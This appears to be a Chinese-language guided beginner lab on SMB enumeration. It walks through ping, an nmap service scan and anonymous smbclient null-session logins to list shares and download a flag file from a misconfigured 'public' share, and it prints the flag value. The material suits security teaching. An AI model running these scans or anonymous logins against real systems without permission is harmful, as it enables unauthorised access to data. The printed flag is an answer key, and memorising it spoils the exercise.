SMB 枚举与访客访问

LinuxBeginner
立即练习

介绍

欢迎来到本次关于服务器消息块 (SMB) 枚举和利用的实践实验。SMB 是一种网络文件共享协议,它允许计算机上的应用程序读取和写入文件,并在计算机网络中请求服务器程序的服务。由于其广泛使用,它成为了攻击者常见的攻击目标。

在本次实验中,你将扮演一名渗透测试人员。你将从基础的网络侦察开始,以确认目标在线。接下来,你将使用强大的扫描工具 nmap 来发现开放的 SMB 服务。最后,你将使用 smbclient 来调查该服务,找到允许匿名 guest 访问的错误配置,并从公共共享中检索隐藏的 flag。

完成之后,你将了解如何:

  • 使用 ping 验证网络连通性。
  • 使用 nmap 扫描开放的 SMB 端口和服务。
  • 使用 smbclient 枚举和连接 SMB 共享。
  • 利用 guest 访问的错误配置来检索文件。

让我们开始吧。

这是一个实验(Guided Lab),提供逐步指导来帮助你学习和实践。请仔细按照说明完成每个步骤,获得实际操作经验。根据历史数据,这是一个 初级 级别的实验,完成率为 85%。获得了学习者 100% 的好评率。

使用 Ping 验证与目标的连通性

在第一步中,你将执行一项基础侦察任务:验证目标机器是否在线并且可以从你的攻击机访问。ping 命令是为此目的的标准实用程序,它发送 ICMP 数据包到主机以测试响应。

你的环境中包含一个别名为 target 的目标系统。要确认连通性,请在你的终端中运行以下命令发送四个数据包:

ping -c 4 target

-c 4 标志告诉 ping 发送正好四个数据包然后停止。成功的结果将类似于下面的输出,显示来自目标的回复。IP 地址和时间值可能会有所不同。

PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms

看到 "4 received, 0% packet loss" 确认你的机器可以与目标通信,为下一阶段的枚举奠定了基础。

使用 Nmap 扫描开放端口

在这一步中,你将使用 nmap (Network Mapper) 来扫描目标开放的端口并识别运行的服务。这是寻找潜在攻击向量的关键步骤。我们将扫描重点放在 SMB 服务上。

执行以下 nmap 命令,对 target 执行服务版本检测 (-sV) 扫描并运行脚本 (--script) 来检查 SMB 协议:

nmap -sV --script smb-protocols target

片刻之后,nmap 将报告其发现。输出将类似于:

Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 10:31 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Host script results:
| smb-protocols:
|   dialects:
|     2.02
|     2.10
|     3.00
|     3.02
|_    3.11

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds

输出确认端口 139/tcp445/tcp 是开放的,并且运行着 Samba 服务。端口 445 是 SMB 的现代端口。这一发现是我们调查 SMB 服务是否存在漏洞的信号。

通过 SMB 连接目标

在这一步中,你将使用 smbclient 实用程序与目标上的 SMB 服务进行交互。你的目标是查看是否可以在没有密码的情况下连接,这种技术被称为“空会话”(null session)或匿名登录。

首先,让我们列出目标上可用的共享。-L 标志用于列出服务,-N 标志尝试在不带密码的情况下连接。

运行以下命令:

smbclient -L //target -N

如果服务器配置错误允许访客访问,你将看到可用共享的列表。输出应类似于:

        Sharename       Type      Comment
        ---------       ----      -------
        public          Disk
        IPC$            IPC       IPC Service (Samba Server)
SMB1 disabled -- no workgroup available

这里的关键发现是 public 共享。名称表明它可能对任何人开放。在下一步中,你将连接到此共享以探索其内容。

探索目标系统并定位 Flag

在最后这一步中,你将连接到你发现的 public 共享并搜索 flag。这模拟了后渗透阶段,攻击者在此阶段搜索有价值的数据。

使用 smbclient 直接连接到 public 共享,同样使用 -N 标志进行匿名访问:

smbclient //target/public -N

成功连接后,你将进入一个 smbclient 提示符,看起来像 smb: \>。你现在正在浏览远程文件共享。

Try "help" to get a list of possible commands.
smb: \>

使用 ls 命令列出共享的内容:

ls

你应该会看到列出的 flag.txt 文件。

smb: \> ls
  .                                   D        0  Fri Sep 19 10:29:39 2025
  ..                                  D        0  Fri Sep 19 10:29:39 2025
  flag.txt                            N       29  Fri Sep 19 10:29:39 2025

  40901312 blocks of size 1024. 22067688 blocks available

现在,使用 get 命令将文件下载到你的本地机器:

get flag.txt

注意:smbclient 实用程序没有内置的 cat 命令来直接查看文件内容。你必须先使用 get 下载文件。

下载完成后,输入 exit 退出 smbclient 会话。最后,在你的本地终端使用 cat 命令显示下载的 flag 的内容。

cat flag.txt

终端将显示 flag 的值。

labex{smb_gu3st_acc3ss_fl4g}

恭喜!你已成功枚举了 SMB 服务,利用了访客访问的错误配置,并检索到了 flag。复制 flag 值以完成实验。

总结

在此实验中,你成功地对一个配置错误的 SMB 服务执行了基本的渗透测试流程。你学习并实践了如何:

  • 使用 ping 来验证与目标的网络连通性。
  • 使用 nmap 扫描开放端口并识别 SMB 服务。
  • 使用 smbclient -L 来匿名枚举可用的网络共享。
  • 使用 smbclient 通过空会话连接到开放的 SMB 共享。
  • 使用 lsget 导航远程共享并下载文件。

这个练习展示了一个常见且关键的漏洞:允许匿名或访客访问网络共享。此类配置错误可能导致敏感数据泄露。通过了解如何查找和利用这些弱点,你将能更好地保护自己的系统免受其害。